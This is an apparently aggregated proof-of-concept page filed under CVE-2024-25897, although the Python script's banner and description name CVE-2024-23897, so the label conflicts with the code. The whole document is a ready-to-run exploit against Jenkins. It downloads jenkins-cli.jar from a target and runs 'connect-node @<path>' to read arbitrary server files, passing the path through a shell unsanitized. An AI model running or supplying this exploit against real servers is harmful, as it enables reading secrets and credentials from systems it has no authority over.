4837 Total CVEs
26 Years
GitHub
README.md
README.md not found for CVE-2024-25897. The file may not exist in the repository.
POC / CVE-2024-25897.py PY
import argparse
import requests
import os
import subprocess
import sys

def banner():
    """
    Imprime un banner decorativo para la herramienta.
    """
    text = """
   ______     _______     ____   ___ ____  _  _        ____  _____  ___  ___ _____       _            _    _           
  / ___\ \   / / ____|   |___ \ / _ \___ \| || |      |___ \|___ / ( _ )/ _ \___  |     | | ___ _ __ | | _(_)_ __  ___ 
 | |    \ \ / /|  _| _____ __) | | | |__) | || |_ _____ __) | |_ \ / _ \ (_) | / /   _  | |/ _ \ '_ \| |/ / | '_ \/ __|
 | |___  \ V / | |__|_____/ __/| |_| / __/|__   _|_____/ __/ ___) | (_) \__, |/ /   | |_| |  __/ | | |   <| | | | \__|
  \____|  \_/  |_____|   |_____|\___/_____|  |_|      |_____|____/ \___/  /_//_/     \___/ \___|_| |_|_|\_\_|_| |_|___/
 """
    print(text)

def descargar_jar(ip, puerto):
    """
    Descarga el archivo jenkins-cli.jar desde el servidor Jenkins especificado.

    Args:
        ip (str): Dirección IP del servidor Jenkins.
        puerto (str): Puerto del servidor Jenkins.

    Returns:
        bool: True si la descarga fue exitosa, False en caso contrario.
    """
    url = f"http://{ip}:{puerto}/jnlpJars/jenkins-cli.jar"
    try:
        response = requests.get(url)
        if response.status_code == 200:
            with open('jenkins-cli.jar', 'wb') as archivo_jar:
                archivo_jar.write(response.content)
            return True
        else:
            print(f"\n[-] No se pudo descargar el archivo. Código de estado: {response.status_code}")
            return False
    except requests.RequestException as errorhttp:
        print(f"\n[-] Error al realizar la solicitud: {errorhttp}")
        return False

def attack_payload(ip, puerto, ruta):
    """
    Ejecuta el payload para conectar un nodo Jenkins.

    Args:
        ip (str): Dirección IP del servidor Jenkins.
        puerto (str): Puerto del servidor Jenkins.
        ruta (str): Ruta para leer el archivo.
    """
    archivo_jar = "jenkins-cli.jar"
    payload = f"java -jar {archivo_jar} -s http://{ip}:{puerto}/ -http connect-node @{ruta}"
    try:
        subprocess.run(payload, shell=True, check=True)
        os.remove(archivo_jar)
    except subprocess.CalledProcessError as error_payload:
        print(f"\n[-] Error al intentar conectar el nodo: {error_payload}\n")

def main():
    """
    Función principal que analiza los argumentos y ejecuta las funciones correspondientes.
    """
    parser = argparse.ArgumentParser(description="\n[+] Exploit para explotar el CVE-2024-23897\n")
    parser.add_argument("ip", type=str, help="\n[+] Dirección IP del servidor Jenkins\n")
    parser.add_argument("puerto", type=str, help="\n[+] Puerto del servidor de Jenkins\n")
    parser.add_argument("ruta", type=str, help="\n[+] Ruta para leer el archivo\n")
    args = parser.parse_args()

    ip = args.ip
    puerto = args.puerto
    ruta = args.ruta

    banner()

    if descargar_jar(ip, puerto):
        attack_payload(ip, puerto, ruta)
    else:
        sys.exit(1)

if __name__ == '__main__':
    main()